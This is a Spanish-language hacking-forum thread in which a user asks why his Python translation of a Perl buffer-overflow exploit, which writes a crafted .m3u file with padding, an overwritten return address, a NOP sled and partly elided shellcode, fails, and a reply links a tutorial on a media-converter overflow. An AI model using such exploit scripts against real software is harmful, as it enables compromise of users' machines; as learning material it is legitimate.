elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  problema al programar exploits en python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema al programar exploits en python  (Leído 3,867 veces)
s0ud

Desconectado Desconectado

Mensajes: 1


Ver Perfil
problema al programar exploits en python
« en: 13 Mayo 2011, 00:59 »

Buen día,

he estado aprendiendo sobre programar/escribir exploits de una pagina muy buena a mi parecer. la cuestion es que los ejemplos estan escritos en perl y yo quisiera utilizar python para hacer los exploits.

mi problema es al tratar de traducir la funcion pack de perl a python. en perl es muy facil:

my $eip = pack('V',0x7E429353); 

lo mas parecido que encontre en python es:

from struct import pack
eip = pack('<L',0x7E429353)

incluso estuve viendo codigo de otros explots en este lenguaje y asi es como lo hacen.

la cosa es que no funciona :S,  estoy utilizando python v2.7 (intente con la 3.2 pero tampoco)

aqui dejo el codigo del explot de prueba que utilizo, en perl y python (perl si me funciona)

PERL
Código:
my $file= "test1perlFinal.m3u";
my $junk= "A" x 26049;
my $eip = pack('V',0x7E429353); 

my $shellcode = "\x90" x 25;

$shellcode = $shellcode . "\xdb\xc0 ....  \x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

Python
Código:
from struct import pack

filename = "test1.m3u"
junk = "\x41" * 26049
eip = pack('<L',0x7E429353)
espdata = "\x90" * 25
payload = "\xdb\xc0\ .... \xca"
FILE = open(filename,"wb")
FILE.write(junk+eip+espdata)
FILE.close()

será que no funciona por algo del codigo? segun yo, los 2 deberian de funcionar igual

si necesitan mas informacion puedo proporcionarla, nadamas pregunten

Gracias por su ayuda
En línea

warl0ck018

Desconectado Desconectado

Mensajes: 2


my $sistema = "Debian";


Ver Perfil
Re: problema al programar exploits en python
« Respuesta #1 en: 25 Octubre 2012, 20:08 »

Creo que es una falta de __Respeto__ la del amigo de arriba. Seguro dijiste eso porque pidiste ayuda con alguna tonteria que no merecio el tiempo de nadie.

Volviendo al tema importante. ¿Para que quieres pasar el exploit de perl a python?
Un Saludo

----

He editado el post porque encontre una pagina que te puede servir http://scx020c07c.blogspot.com.es/2012/09/buffer-overflow-easy-rm-to-mp3-converter.html
;)
« Última modificación: 25 Octubre 2012, 20:13 por warl0ck018 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema al compilar exploits ..
Bugs y Exploits
eLNaNo 3 1,005 Último mensaje 15 Febrero 2005, 19:32
por Rojodos
[Propuesta]Videos tutoriales aprender a programar en python
Foro Libre
juh 13 3,305 Último mensaje 21 Septiembre 2010, 05:25
por juh
Problema con exploits
Bugs y Exploits
Z31C0S 4 2,158 Último mensaje 14 Diciembre 2011, 02:17
por m0rf
Que programa me aconsejáis para programar en python
Scripting
Draked393 8 1,899 Último mensaje 30 Enero 2012, 09:45
por risto
Ya se programar python, Que lenguage me recomiendan ahora que no seaphp html/css
Programación General
Bomb-P 7 1,133 Último mensaje 1 Noviembre 2012, 19:48
por Bomb-P
Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines